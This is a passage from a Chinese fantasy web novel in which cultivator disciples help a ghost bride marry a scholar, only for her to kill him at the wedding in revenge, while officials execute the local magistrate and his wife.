“哈……”她喝了口豆浆,又打了个哈欠,困顿道,“这知州大人的豪宅确实不错,锦缎被褥,可也没有家里的狗窝舒服。” 石映心点头表示赞同:“我们很快便能回去了。” “是啊。”曾换月闻言一笑,“现在恶鬼的事情解决了,邓小姐又答应成全何姑娘,想来我们的任务很快便能完成了!” 石映心也这么觉得。 用完膳没多久,就有丫鬟来通报,说邓大人邓夫人有请;出了门又碰见顾梦真,三人便兴高采烈地打算去“邀功”。 书房和厅堂被烧得很干净,三人路过的时候还瞧见有一些下人在进进出出地收拾和修缮,昨晚幸好有顾梦真的降雨云舟帮忙,只是损失了一些家财,并没有人受伤。 三人跟着丫鬟去了东厢房,进门的时候赶巧碰上贾庆升和何碧薰对邓老爷邓夫人四膝跪地,惊得他们愣在了门口。【】 40-50 第41章 “大人!”贾庆升大声中有些抽泣,“贾某深知对不住大人的提携,只是情字一词并非小人能掌控。邓小姐才貌双全、秀外慧中,贾某对她万分欣赏,在遇到何姑娘之前,也真心觉得能娶到邓小姐是贾某的福气,只是、只是……” 说罢看向跪在他身边的何碧薰。 何碧薰早已泪流满面,对着邓家夫妇拜了一下:“小女自知卑劣,但并非有意夺人之爱,苦苦寻人百余年,不曾想今生是这般景况,实在不知如何是好,只能任打任罚,厚着脸皮请求大人和夫人成全……” 邓晴站在王琦边上,帮着劝道:“爹,娘,晴儿对贾秀才也没有多少感情,天下男儿这般多,少了这一个不真心 待我的,还怕找不到下一个?” “闭嘴!”邓严轻喝一声,忽然瞧见门口的三人,又转声笑道,“三位仙人来了?请进、请进。” 三人面面相觑一眼,进屋绕过跪着的两人,坐到了边上。 顾梦真瞥了眼那对苦命鸳鸯,斟酌道:“那个……其实我们这次是为了何姑娘和贾秀才一事而来……” “老夫还没感谢三位仙人昨晚的救命救火之恩!”邓严和蔼笑道,“不知三位想要什么奖赏?” 顾梦真:“额……” 石映心:“我要你成全他们二人。” 邓严和王琦都是一愣,没想到她说话这么直白,邓严叹了口气,苦恼道:“石仙人,婚姻并非儿戏,贾庆升要入赘我邓家一事早已是众所皆知的事,虽说还未公告天下,但与我相熟的亲友皆知……如今你让我……” 石映心瞥了眼邓晴:“那你可曾想过,若不是我们救了你邓家小姐,救了你邓家的火,你们还能剩几条命来办婚事?” 邓严:! “这……” 王琦不知道某人说话就这脾性,以为她生气了,连忙打圆场道:“石仙人别急,我和老爷并不是不答应的意思,只不过……此事还需好好商议,毕竟关乎我家晴儿的清白,又关乎银州署的脸面,定要找个合适妥当的方法才好……” 石映心听不明白这些弯弯绕绕,她就想知道一个结果:“什么办法?” “还没想好……” “要想多久?” 王琦和邓严对视一眼,小心道:“最少也要十天半个月的……” “是啊,”邓严仿佛灵光一闪,眼前一亮,“鬼月还没过去,前日晚上那三具被剥皮的尸体也未寻得凶手,如今银州署日夜繁忙,我也是焦头烂额,实在无心考虑此事……要不这样,三位仙人再帮帮老夫的忙,捉了这些害人的鬼,过了鬼月这关之后,再议贾秀才和……” 砰! “喂!”曾换月听不下去了,拍桌而起,气愤地指着邓严道,“好你个邓大人,居然想得寸进尺?捉一只鬼就算了还想我们捉一个月的鬼?支支吾吾、推三阻四,连一句准信都不给,你当我们是冤大头啊?” “就是!”顾梦真也站起来气道,“实话跟你说了,我们帮你邓家的忙就是看在何姑娘的份上,若不是她要找夫君,我们才不来银州署!你现在是什么意思?卸磨杀驴吗?” 邓严是什么身份,被这么谴责自觉下不了面子,脸色微僵,梗着脖子道:“三位仙人何必如此谴责本官?若是你们早说代价是要我这夫婿……那我还不一定接受你们的帮助!” 三人:!? 哇哇哇,气死了,世上竟有如此厚颜无耻之人! 邓晴从没想过会从一向公正严明的父亲嘴里听到这样的话,不可置信地摇了摇头道:“爹,你怎么能这么说?” 邓严:“晴儿,此事你不用再管。” “我不用管?这是我的婚姻大事,为何我不用管?”她不理解地摇了摇脑袋,“先前你也同我说过,夫婿是谁不重要,你和娘会疼爱我一辈子……” “晴儿啊,”邓严长叹一口气,“即合你心意,又合爹心意的人不好找啊。庆升昨晚不顾安危去救火,救下了爹许多重要书册;如今又肯为一凡人女子舍弃荣华富贵,如此有勇有情之人……做你的夫婿不好吗?” “他是为了别人!” “不是谁都能这般为别人的。” 邓晴:…… 跪在下边的贾庆升…… 怪他太优秀? 好了,话说到这里没什么好说的了,师兄妹三人气呼呼地拉着苦命鸳鸯离去;邓严说公务繁忙也走了;邓晴则是被王琦拉着说小话。 回到屋里,把跟来的几个丫鬟关在门外,几人大眼瞪小眼起来。 瞪累了,石映心坐下来喝了口茶,幽幽地看向贾庆升:“现在你怎么想?” 贾庆升和何碧薰对视一眼,很苦命地朝她一笑:“贾某……唉,实在也不知如何是好,一切都听三位仙人的吩咐。” 曾换月便说:“既然你不贪这荣华富贵,那就和何姑娘私奔吧,离开银州重新开始。” 顾梦真眼前一亮:“对,私奔!” “我自然是愿意的。”贾庆升立刻答应下来,又看向何碧薰,“只是不知何姑娘是否愿意陪我颠沛流离……” 何碧薰眼里又泛起泪花:“我寻你这么久,所求不过是长相厮守……” “好好好!”曾换月鼓起掌来,“既然如此,根本不用管那邓严是什么意见,直接走了便是!” 顾梦真:“就是就是,他们能奈我们何?” 石映心:“今晚就走。” 好像大家都很赶时间,反正事情就这么粗暴地决定了。曾换月还细心地问:“对了贾秀才,我记得先前你身边有个小厮……要不带他一起走?” 贾庆升摇摇头道:“实不相瞒,那名小厮被邓大人以粗鄙为由打发走了,不过看在我的面上,倒是给他在银州寻了个好差事。之后我的路不知是否安稳,不如就让他在银州好好谋生、成家立业,何必要再做我的随从、低人一等?” 曾换月听此,不得不赞同道:“你确实是个有情有义的人。” 贾庆升苦笑一声:“我的情义,比不上何姑娘半分……” “贾公子……” “何姑娘……” 曾换月:…… 这就秀上恩爱了? 三人记起还有些东西落在客栈了,所以临行前要去取来,到了客栈,曾换月才想起玄猫的事,到处找了找没找到:“师姐,猫不见了。” 石映心说:“其实这猫……” 话音未落,门口进来一人,正是明易。 “大师兄!”曾换月连忙追过去问,“小翠怎么样了?” 明易颔首道:“保住了一命,在地府修养好魂魄之后,便能入六道轮回了。” 曾换月狠狠地松下一口气来:“太好了、太好了……对了大师兄,你什么时候开始跟着我们的?” 明易瞧见石映心直勾勾地盯着他,默了默道:“师父担心你们三人出事,便派我来看守,不过我不会参与你们的任务。” “哦……”曾换月点点头说,“我们任务就要完成了,大师兄你也别藏了,正大光明地跟着呗……对了,我去和二师兄说!”说着就跑出去了。 屋里就剩下二人。 明易杵在那,看石映心去床上拿起收拾好的包包背上,然后从包上用两根手指头拈了什么起来,走过来道:“师兄你看,是猫毛。” 他正要定睛看去,石映心却抬起手来把猫毛往他发上一插:“还你。” 明易:…… 他下意识往那处头发拂了一下,自知露馅,只好问:“你什么时候发现的?” “一早就发现了。” 明易虽也有猜想,但先前不确定,见她承认,进一步确认道:“所以你对我施定身术时已经知道我是……” 石映心眨眼:“是啊。” 明易:。 他竟然觉得有些好笑:“那你还明知故犯?” “师兄,我帮你隐瞒身份欺骗二师兄和师妹,你怎么还责怪我?”石映心蹙眉谴责,“唉,下次我直说好了。” 明易被她的理所当然给整得语塞又无奈,究其源头又确实是他隐瞒在先,当猫后的遭遇……怎么不算自讨苦吃? “我知道你帮我隐瞒不过是觉得好玩,倒不必这么言之凿凿。”明易哪里不晓得她的脾性,摇摇头道,“我化身为猫是担心被你发现气息,并不是有意欺骗。” 石映心点点头:“我知道。” 又说:“不过我照了那猫,发现照不出来,就知道是你了。” “……你还照猫?” “我只是好奇它到底想干什么。” 明易没想到还会有因为“照不到”而吃亏的时候,心说她这能力真叫人头疼,叹气道:“是我失策……你别告诉他们两个。” 石映心 哼哼一笑:“师兄你觉得丢脸吗?” “……拜你所赐。” 石映心好说话地答应下来。 顾梦真收拾好东西过来,果然瞧见大师兄在,他本来是挺高兴的,还乐呵呵地打招呼,突然想到什么,嘀嘀咕咕道:“什么啊,师父叫我下来捉换月,又叫你下来监督我们仨,那不是压根没信任我?” 明易不客气道:“难道你没有辜负师父的信任?” 顾梦真一噎:“我、那曾换月就是不肯跟我回去怎么办!” 明易挑眉:“若是她肯还用叫你来捉?” 顾梦真:。 曾换月嚷嚷起来:“我只是想帮师姐的忙!再说我看其他师姐师兄也是好几个人一起下山做任务的……” “那是元婴期的一阶任务。”明易戳破她避重就轻的借口,“想和你师姐一起,不如在山上好好修炼,早日破境入元婴,到时候正大光明地下山,也不必辛苦一趟回去还要挨骂。” 曾换月:。 都闭嘴吧。 第42章 石映心见二师兄和小师妹都被骂了,也没有帮忙说一句话的意思,毕竟大师兄有理有据的,她干嘛多此一嘴把战火惹到自己身上呢?更何况现在有更重要的事:“天黑了,我们快回银州署吧。” 自然不能耽误正事,几人便趁着夜色飞回了银州署,苦命鸳鸯已经收拾好行囊在那里等着他们了。 对仙人来说,帮人私奔不要太简单。先是放倒了二人屋外看守他们的仆役,然后坐上顾梦真的大鹏展翅,如此便能轻松地逃出银州署了;大概邓严也没料到自诩正派的归壹派弟子们会做出这般不打一声招呼就把人掳走的强盗行径。 “正派之人最好拿捏。”邓严得空在院中散步,和长随这般笑道,“他们虽仙法高超,但做事都一板一眼的,从不逾矩;还怕自身行径有辱师门名誉,自是不敢乱来。” 长随点头哈腰地笑着:“大人英明,难怪放任他们肆意行动。等我们借了仙人之力捉下几只害人之鬼,届时大人就要名扬天下、步步高升啊!” “哈哈哈哈哈!今夜月色真不错……”邓严很受用地大笑起来,举头望月,瞧见有一硕大的鸟影划过圆月,“咦,你瞧,空中飞过好大一只雁!” 长随连忙道:“这是吉兆啊大人!” “哈哈哈哈哈!本官也觉得如此!” * 大鹏展翅将几人送到了银州的州界之外,落脚一间旅舍前。 第一次体验飞天的苦命鸳鸯双爪着地后还有些心有余悸,贾庆升脸色苍白、额头冒汗;何碧薰比他胆子大一些,很快恢复了寻常模样,甚至精神气还挺足的呢,神采奕奕的,大概是高兴的吧。 “碧薰多谢几位仙人相助!” 她又给要给几人行礼,被曾换月制止住:“不谢不谢,都是应该的。看见你们二人有情人终成眷属,我们心里也高兴。” 顾梦真说:“是啊是啊,皇天不负有心人那。” 趁着她们说话的时候,石映心拿出木牌看了看,就见木牌还是闪着光发着热,和先前没有什么分别?她小声问明易:“大师兄,怎样才算完成了任务?” 明易垂眸看了眼木牌,低声道:“等因果牌上的字消失了便算。” 石映心又低头看去,一个字都没消失啊:“他们已经比翼双飞了,这样难道不算完成任务了?” 明易轻轻摇头表示自己也不清楚。 石映心就把师妹拉过来说了此事,曾换月虽有些疑惑,不过她是很有想法的:“在凡人话本里,拜堂成亲了才算是圆满大结局!” 石映心点点头表示明白了,然后往前走两步在相谈甚欢的三人中插了句嘴:“你们什么时候拜堂成亲?我看就今晚吧。” 二人:?! 面对她的粗暴要求,他们先是支吾了一番,大概就说“现在不是好时候,忙着逃亡啊”“婚姻大事不是儿戏,要好好筹备”巴拉巴拉,但石映心的态度特别强硬,二人拒绝恩人无果,只好答应下来。 何碧薰提议道:“如今的情况,婚礼不宜在白日操办,怕惹人注目……后天是十五,不如就后天晚上如何?正好月色明亮,亮堂些好。” 多等两天也不是不行,石映心正要同意,贾庆升却说:“薰娘,我看几位仙人贵人事忙,很是赶时间,不如就明晚吧?十四十五的月色也差不了多少。而且早一日成完亲,我们就能早一日离开这里,就怕迟则有变……” 何碧薰沉吟片刻,笑着答应下来:“对我来说,什么时候都好,只要是和你在一起。” “薰娘……” “庆升……” 石映心:“好了事情就这么决定了。” 当晚她们便在旅舍暂住,这家旅舍位置有些偏僻,顾客不多,听说她们明晚要办喜事,店家倒是高兴地应和下来,说是这店开了二十多年了,还是第一次有人在这办喜事呢。 店家搓搓手,笑眯眯道:“在鬼月成亲的很少见啊,不过也好,用喜事冲冲鬼气嘛!既然这样,明日那些酒席的费用我就算你们便宜些。” 石映心:“多谢,多少?” 店家说了个数字。 石映心:掏钱中…… 顾梦真把她拉开,“咳咳”两声就和店家讨价还价起来:“不是我说啊老板,你这店地处偏僻,环境简陋,客人都没几个;我们也不是小气的人,明晚办了婚宴,定是要请你还有店里那些小二啊客人啊一起吃的,沾沾喜气嘛,都没算你们礼金呢……” 石映心没结过婚,哪里知道办酒席要多少钱,见他说什么“给你便宜些”就以为是真得了便宜了;这会看二师兄和店家压价,听得一愣一愣的,手还在包里捞着银两没伸出来呢。 曾换月打了个哈欠,挽住她胳膊往楼上走:“师姐,这里就交给二师兄好了,我们快睡觉去吧,哈……” “……哦,好。” 隔天她们要去银州帮鸳鸯买些成亲要用的东西,哪怕何碧薰很歉疚地说了好几次不用了、不麻烦了,但曾换月觉得起码要整上婚服吧?红红火火的喜庆一些。 又宽慰她说:“我们今日草率地帮你们私定了终身,也有些难言之隐,日后等你们过上安稳日子了,再大办一场好了。” 何碧薰泪眼汪汪地说:“其实我不在意这些的。” 曾换月:我在意,我想凑热闹。 明易帮着店家给店里贴红字、挂斗账等;顾梦真则是四处给店里的顾客发贾秀才临时写的请帖,热情地说今晚有喜事,走过路过别错过,都来免费吃席啊;平日冷清的旅店后厨这会热闹非凡,都是颠锅炒菜的声音,时不时有香喷喷的浓烟冒过来。 忙忙碌碌一个白天,不知何时日头落山了。 石映心坐在床边,看身穿嫁衣的何碧薰在对着镜子给自己化妆。铜镜之中,女人的脸瞧不出往日的苍白,面上最艳丽的红是她唇妆,微微上扬的嘴角显出一些不动声色的愉悦。 她照着镜子,镜子也想照她。 石映心很好奇一个苦苦寻了爱人三世、只在话本故事中见过的深情之人,历经沧桑别离、爱而不得之后如今终于要美梦成真了,心中会是如何的高兴呢? 那就照—— 镜灵双眼一眨,下一刻便黛玉捧心,秀眉紧蹙地吃疼起来,她感觉自己的心先被人压扁成一张纸片,然后被撕成一条一条一块一块,接着又跟捏泥巴人似地被团巴团巴起来……疼得搓圆揉扁。 石映心额上瞬间大汗淋漓,面色苍白,慌不迭地把这心痛给抛去,好险才喘上来一口气…… “石仙人,你没事吧?”见她有异样,新娘子连忙凑过来关心。 石映心心说你才没事吧?夫君都给你找到了,你还苦巴巴什么,她是想快活一下才照她的…… “……没事,你好好准备,”石映心抹了把汗,站起来道,“我出去透透气。” 何碧薰也不好多问:“好。 ” 看着被关上的门,新娘微蹙的秀眉依旧没有散开。 石映心去了外边,看见师妹在那里排练婚礼祝词,走过去和她说了这事。 曾换月闻言,做出心疼的表情:“唉,太苦了,太苦了!估计何姑娘到现在都不敢置信自己将要有情人终成眷属吧!这其中的苦楚,苦楚中的真爱,竟是这般心痛呜呜呜呜!” “……是这样吗?” “是啊是啊,这是多难得的真情啊!世间少有!”曾换月拍拍她肩膀,“师姐,你这次照得值哦。” 石映心挠挠脸,转身走了。 她走下楼,看见大师兄和二师兄都在忙着操办喜事,她便没有打扰,出了客栈大门,又瞧见贾庆升站在院门口望着远方,那身艳丽的新郎长衫在荒郊野岭中格外显眼,夜色却衬出了几分森森。 似乎是听见了脚步声,贾庆升转过头来,看见是石仙人,微微忧愁的脸色笑开:“石仙人有何吩咐?” 经过新娘子那一茬,石映心不想再照他了,干脆问:“婚宴就要开始,你在这看什么?” 贾庆升长长叹出一口气来:“在下也不知要看什么,思绪有些繁杂……一会儿想起远在家乡的年迈爹娘,一会想起邓大人和邓小姐,一会儿又觉得一切如梦,我大器未成,竟就要成亲了。” 幸好没照他:“……你想得还挺多。” 贾庆升朝她一笑:“石仙人,你们修仙之人是不是都心无旁骛、不染凡尘,一心修炼的?” “不知道。” 贾秀才声音微微低沉:“这两日与几位仙人打交道,我常常自弃无用,艳羡你们仙法高超,能保护想保护的人、做想做的事,来去如风,不必在意他人如何……可惜今生已是这般凡人,这条不归之路也已行至途中。” 石映心:? 这两个人怎么回事,成亲大喜之事,一个心痛如绞,一个千愁万绪,不知道的还以为办的是丧事呢!和话本里写的完全不一样。难道真的是她不懂了? 凡人真复杂。 算了,不关她的事,等这两只鸟成了亲,她立刻就要回门派! 若是旁人在这,见他这般哀愁,定是要安慰几句的;比如换做是曾换月,大概会觉得这两人患上了婚前恐惧症,然后巴拉巴拉劝说一番,让他别想太多,高高兴兴地成亲吧……可惜,在这的是石映心。 所以等贾秀才回过神来,面前已经没人了,夜风扫来一片阴冷,他仰头望月,十四的月亮确实也够圆了。 凡人的双眼能瞧出什么分别呢? 不管如何,婚宴顺利地开始了。 曾换月站在椅子主持婚礼,说了一大堆她瞎编的、听起来有煞有其事的祝词,场下有人竟然听得开始抹泪。 这对新人并肩站在她面前,二人手上牵着红绸花绳,戴着红盖头的新娘微微垂着脑袋,新郎官则是面上带笑,有些喜气洋洋的表情。 客栈里的伙计、客官大概都到场了,虽不多但也有二三十号人,坐在一起就不显得大堂空荡,有热情外向的人时不时拍手叫好,倒是有些热闹。 石映心的任务是他们进场的时候站在边上撒花瓣,撒好后她就坐在边上吃席了,听师妹感情充沛的祝词时她看看场下的众人:安静欢喜的新人,凑热闹的宾客,应和小师妹的二师兄,还有面色淡然的大师兄…… 现在她感觉在场最高兴最兴奋的是换月吧? “……自古多情空余恨,此恨绵绵无绝期!可见能终成眷属的有情人少之又少啊!而今日我们大家之所以欢聚在这里,正是为了庆祝这世间难得的美满姻缘!来——” 曾换月举起手中的茶盏,隔空敬了一圈:“让我们发自内心地祝愿他们,从今以后能够执子之手、与子偕老,做一对比翼双飞的神仙眷侣!” 气氛成功被她烘托到高潮,场下响起鼓掌声、叫好声,宾客们举起手中的茶盏、酒杯,纷纷朝新人祝贺。 二位新人则是先朝曾换月鞠了一躬,又转来朝宾客们鞠了一躬;贾庆升拿起酒杯痛饮而下,笑容很畅快。 不是那么正经的成亲仪式,于是也少了许多繁杂的习俗,曾换月直接道:“两位新人楼上请吧,已经备好了美酒佳肴。” 有宾客朗声道:“就是粗茶淡饭,这会也是人间至味那!” “哈哈哈哈哈!” 在大伙的打趣笑声中,新郎官牵着新娘,小心地上了台阶。 明易见两身红衣进了屋里便收回了视线,看见坐在面前的石映心正盯着桌上的木牌看,此时的因果牌依旧在一闪一闪地发着光,但似乎暗淡了许多,她感受到视线,抬眼看来:“大师兄,少了一句诗。” 明易也是松了口气:“也许等明日诗词便会完全消失了。” 石映心抿着笑点了点头,没多问,也没把只剩下“此恨绵绵无绝期”的因果牌收起来,就放在桌上看着,有种监视的意思。 这时候忙完一通的曾换月也坐了下来,师兄妹四人齐聚一桌,瞧着都放松了许多。 顾梦真感慨道:“虽说这几日是挺折腾的,不过下山做任务没我想得那么恐怖嘛,而且能助人为乐也挺有意义的。我看我回去还是赶紧破境吧,到时候可以和大师兄、映心一起下山了。” 石映心说:“是啊二师兄,彼此也有照应。” 曾换月却“哼”了一声道:“怎么这样,你们竟想把我一个人留在山上!” 顾梦真:“那你也勤加修炼呗!” “修炼破境哪是这么容易的事?”曾换月嘟嘴不满,戳戳碗中的小白菜,“我看我还是偷偷跟下来好了,指不定在人间游历还能找到一些难得的机缘呢?” 明易抬眼:“曾换月,你当我不存在?” 曾换月闭嘴瘪着,心说大不了就被骂几句、罚几个板子呗……放她一个人困在门派里,她是万分的寂寞,忍不了的! “好啦,到时候再说吧!”曾换月甩甩脑袋,夹了一块鸡翅吃起来,“希望我们明天就能回门派……” 她话音未落,石映心忽然把边上的木牌举起来给几人看:“诗词只剩一个字了!” 三人定睛一看,还真是!看来诗词全部消失不过是时间的事。顿时喜上四对眉梢,曾换月倒了茶来,举起来要碰杯:“来来来,让我们庆祝师姐首次任务即将大功告成!” “好!” 周围传来宾客们的欢声笑语,热闹烘托着喜事的欢庆;师兄妹四人举杯祝贺、茶盏相碰,清脆声听得悦耳;放眼望去一片旧木红帐,轻纱映出无数烛光的飘影,铺挂着像是一个个怀抱,忽地就接住了什么,从二楼被牵扯飞下—— 哐! 石映心的茶盏刚到嘴边,猛地脸上被溅到了一滴,茶水上隐约荡开一抹深色,她抬眼一看,原来是桌上从天而降了一道珍稀菜肴—— 鲜血淋漓的新郎官。 石映心:OO 她师兄师妹:OO 死不瞑目的贾庆升:OO 一滴血飞溅到她手边的因果牌上,染红了最后一字,“恨”便在血色中深深消融了—— 恭喜石映心完成任务! 可喜可贺、可喜可贺。 第43章 虽然事发突然,一时之间大家都变成了木鸡,但情况是这么个情况。 总之,等反应过来之后就是一阵鸡飞狗跳,该喊“杀人了”的在扯嗓子喊“杀人了”,该屁滚尿流的就屁滚尿流,该逃命时被桌椅绊倒的就被绊倒,每个人都尽职地扮演着闹剧中的一员,吵吵闹闹的倒有另一种喜庆。 就某张桌子诡异地很安静。 大概想不通为什么吧。 石映心抹去脸上那滴血,站起来的时候手上已经拿了佩剑,她扭头往楼上望去,和站在干栏边上面无表情的新娘对上视线。 二人遥遥相望了半晌,石映心先说话了,毕竟她这会真的很疑惑: “你……故意把贾庆升扔我们桌上?” 她桌上其余三人:…… 所以这就是你的重点? 何碧薰顿了顿,倒是礼貌地回复了:“此事只是凑巧,对不住了。” 明易实在不能放任情况继续这么下去,开口道:“何碧薰,事到如今你还要隐瞒什么?” “欺骗你们并非我的本意,不过……”她苍白的面上红唇笑得很惹眼,“我如今大仇得报,确实多亏了几位恩人的鼎力相助。” 几位恩人:…… 曾换月很难说清自 己现在的心情是尴尬是震惊是愤怒还是什么什么巴巴拉拉乱七八糟的,总而言之,万千思绪,都汇聚成了她这苦命的一笑:“不是姐,你把我们当鬼整呐?” 何碧薰呵呵微笑道:“曾仙人说笑了,在场的鬼只有一只,那便是我了。” 曾仙人:…… 顾梦真这会感到了很多背叛,毕竟他是第一个上当的人:“何姑娘,你为什么要这么做?难道从一开始……从你被那三个人欺负开始就是你的阴谋?” “那倒不是……”他这么问,何碧薰脸上的笑容也带上一丝困惑,“虽值鬼月,但大部分鬼魂都不能在白日游走,就是我如今的修为,在白日也像寻常弱女子一般……被那三个登徒子缠上是意外,得几位恩人的帮助则是老天待我不薄。” “我心中明白,几位帮我是和你们归壹派的任务有关,并非多管闲事。借你们之力确实是兵行险招,但于我而言……实在不能放弃这阵东风。” 她话说到这,石映心忽然回过味来了:“原来那三具无皮尸体是你杀的。” 顾梦真:!?? 何碧薰微微颔首:“说得不错,他们便是当日对我出言不逊的三人。石仙人你割去了他们的嘴皮子,我怕引人怀疑,只好将他们的人皮尽数剥离。” 曾换月:“你也太残忍了!” 何碧薰:“残忍?那三人横行霸道、强抢民女,我没在他们活着时先扒了他们的皮、让他们流血而亡,已是万分的仁慈了。” 曾换月想想也是:“……好吧。” 又不解地问:“你究竟为何要杀贾庆升?难道你和我们说的那些故事都是假的?你分明演得那么真!” 何碧薰摇摇头:“真真假假,现在还重要吗?” 这时候大概只有明易还记得桌上凉透的尸体了,他冷声道:“何碧薰,既然你敢当着我们的面杀人,想来已经做好了魂飞魄散的准备。” 何碧薰瞥他一眼,咧嘴笑起来,笑得楼下几人都有些疑惑,怕是这坏鬼还有什么后手,不过很快就听她道:“哈哈哈哈哈!我会不会死不好说,但你们再不去银州署,这世间就要再多几只怨鬼!哈哈哈哈……” 她这话是什么意思? 几人面面相觑,拿不准该不该信她。何碧薰见他们怀疑,居然主动解释道:“邓小姐的成全也算是助我完成了夙愿,这一句提醒便是我对她的报答,至于信不信……由你们决定。” 人就是这样,就算被骗过一把大的,但对方一说些好听话又要迟疑起来。明易干脆道:“你们三人去银州署,我留下应付她。” 两个还算省心的:“好!” 一个不省心的:“我留下吧大师兄,你去。” 明易眉头都来不及皱起来,那个不省心的已经提剑飞起来去二楼打鬼了。 顾梦真拉住他说:“算了算了,走吧走吧!” 明易:……行(深呼吸)。 先看这边,石映心和何碧薰在二楼有些束手束脚地对了几招,将边上的干栏震破了,连带着上头系着的红帐,七零八碎地飞洒下去,盖住了贾庆升死不瞑目的遗容。 二人没多久就打到了客栈外,几个来回石映心已经摸清了对手鬼的实力,大概是银州署那只火鬼的十倍,火鬼其实不强,胜在体质特殊;何碧薰虽鬼力强悍些,但打起来招招能落实,倒是让她舒心许多。 月挂枝头,十四的圆月照得满林绿叶莹莹发光,下一刻有剑风砍来,便被斩断随风卷起,化作飘零的枯蝶飞过何碧薰的脸上,留下两道红痕。 石映心很快便发现了何碧薰的弱点,她光会使用鬼术,身手却不好,毕竟前世只是个普通的凡人,哪里练过功?所以对付她的最简单办法是近攻肉搏。 挥剑将她送来的鬼气劈开,石映心不再手下留情,拈剑诀附剑,帝血剑便飞速转动起来,猛地一滞便朝何碧薰突进,来势汹汹;何碧薰躲避不急,连忙推掌相抵,但帝血剑剑气逼人,一转破开鬼气,眨眼间便扎穿了她的手掌。 “啊!” 何碧薰惨叫一声,咬牙将帝血剑拔出,拔剑的手上也因此血肉模糊,她看着两只破口漏血的手,疼得急喘气,这会忽然发现剑主人不见了,连忙左右看了看,只见荒林之中阴风瑟瑟,树影幢幢,有些可怖的死寂。 奇怪,人在…… 肩上猛地被什么按住,何碧薰浑身一颤,迟疑地扭动僵硬的脑袋,听到一个声音从她耳后吹来:“抓,住,你,了。” 何碧薰:…… 吓死鬼了! 就在石映心把何碧薰五花大绑的时候……话分两头,再看明易三人这边,他们匆匆赶到银州署,在空中就瞧见下边的邓家大宅热闹得很,几进院落来来往往好多人,多是一列列一对对的,为首的断尾的都举着火把,定睛一看,竟都是些官兵衙役。 大鹏展翅上的顾梦真惊讶得有些茫然:“发生什么事了?” 明易御剑而去:“下去看看。” 他快得像一粒火星子落入下方的火光之中,橙红的火色照亮了一张张神色各异的脸,比如邓晴,她大概从来不知道自己会露出如此狰狞的表情,而此刻她仍然觉得气势不够逼人: “放开我爹!放开我娘!此案疑点重重、罪名未定,你们凭什么擅自用刑?!” 她面前那个手拿大刀、一脸横肉的男人闻言哈哈大笑起来:“用刑?用绳子绑起来就是用刑了?哈哈哈哈!好,本官就叫你这大家闺秀涨涨见识,什么才叫用刑!” 话毕,举刀一挥,被人五花大绑控制住的邓严的脖子上眨眼就多了一道大口子,可怜的邓大人就此一命呜呼,只留下一声残喘的“冤枉”。 边上的王琦失声尖叫:“老爷!!” 下一刻刀光一闪,她也脑袋一歪,麻溜地随着老爷去了。 邓晴张着嘴巴,哑然尖叫着,双目滚滚而下泪水,倒映着满院子的火光,让她眼中一片火红;耳鸣声中,男人的声音嗡嗡传来: “嫌疑犯邓严、王琦,违抗圣旨、誓死拘捕,本官无奈斩立决!至于其女邓晴……就押回牢里严刑拷打、替其父坦白他们邓家的滔滔罪行吧!” 有两人在后边押着她的双臂将她往门边推,方才还反抗剧烈的邓晴这会踉跄地被推着走了,只是脑袋还朝着她爹娘的方向,巴不得也掉下来在这一家团圆。 就在这时,兜了几个院子的明易总算找到她了,一招击退她身后的两个衙役,提着邓晴的胳膊就将她带着飞了起来,她是乖乖的跟尸体似的,底下则是一片大乱,有些人佩戴着弓箭,咻咻咻地就往二人射来。 不过这些凡人的招数对明易来说实在不够看,他几招打退飞箭,将人送到了大鹏展翅上,四人很快就消失在夜色之中。 “大人怎么办?逃了一个……” “本官怎么知道?你们这些废物,竟一个都不会飞!” “……” * 话再说回来,石映心把何碧薰五花大绑之后,这女鬼似乎也认命了,坐靠在树干上,面色平静。 石映心一时拿不准要留在这看着她,还是要去找换月她们,在何碧薰面前兜了两圈, 最后蹲在她面前道:“我不杀你,你也不要跑,在这等我回来成不成?” 何碧薰静静地看着她:“你们打算把我如何?” “带你回我们门派的戒律堂,届时有人知道怎么处置你。” 何碧薰闻言,微微撇过脑袋:“若是要对我严刑拷打,不如你现在就把我杀了。” 说到这她忽地笑了一声:“把我杀了也好,留着我这余孽,是不是也坏了你们这些弟子的任务?” “那倒不是。”石映心说起来也有些古怪,“贾庆升死的时候……分明我的任务就恰好完成了。这么想来很不对劲,难道我的任务就是助你杀了贾庆升?” 名门正派怎么会给弟子们颁布这样“助鬼杀人”的任务呢?何碧薰也好奇起来:“这是什么任务?” 石映心觉得事到如今,告诉她又怎么样,便简而告知。 没想到何碧薰听了哈哈大笑起来,笑得眼泪都掉出来了。 石映心漠然地看着她笑了会,耐心告罄地捂住了她的嘴巴,威胁道:“听你笑得这么高兴,看来已经知道了怎么回事?劳烦和我说说。” 何碧薰:“唔唔唔!” 第44章 自古多情空余恨,此恨绵绵无绝期。 此诗的重点,如何看都在这“恨”字上,若恨没了,全诗自然便失去了意义;要这恨字消失,要么杀了被恨的人,要么满足恨人的人,两条路径,殊途同归——总之要死一个。 石映心,听明白了吗? 若是曾换月在这,听此就要五雷轰顶,哭着喊着说:“师姐,死错了!” 可在这的是石映心,她这会便思考起来:“那照你的说法……我也不算做错了事?好吧,到时候回去就和师父用你这套说辞。” 何碧薰:…… 她神色古怪地打量了一会面前更古怪的女人,忽而福至心灵,感到一丝奇异,便端正态度,一字一句道:“石仙人,既然你明白了,那你放了我吧,我不想死,我想去阴曹地府,我要投胎。” 石映心摇摇头:“不行。” “为什么,你的任务不是已经完成了?” 石映心同情地看着她:“你真是白痴,竟敢在我大师兄面前杀人,他是万万不会放过你的;要是我放了你走,之后怎么和大师兄交代?” 何碧薰噎了一下,据理力争:“我不杀他,你们的任务如何完成?” 说起这些前因后果的逻辑来,石映心是很不耐烦的,当即一挥手说:“好了,不要讲这些没用的。杀人偿命,我现在没杀你,你应该要知足;而且戒律堂一般不会赶尽杀绝,跟我们回去也许你还有一线生机……” “杀人偿命,哈哈哈哈!哈哈哈哈!”这女鬼惊人地大笑起来,哈哈着说,“那照你的说法,我杀了贾庆升完全是情有可原!” 情有可原? 石映心想到她的女鬼身份,推测道:“难道你变成鬼……是因为被他杀了?” “没错!”何碧薰双目癫狂,睚眦欲裂,“不只是我,我爹、我娘,我何家上上下下上百口人,皆是因他而死!而我只杀了他这一回!石仙人,我有什么错?难道他不该偿命吗?!” 没想到她竟有这样的冤屈,听着真是惨绝人寰……但这关她石映心什么事呢? 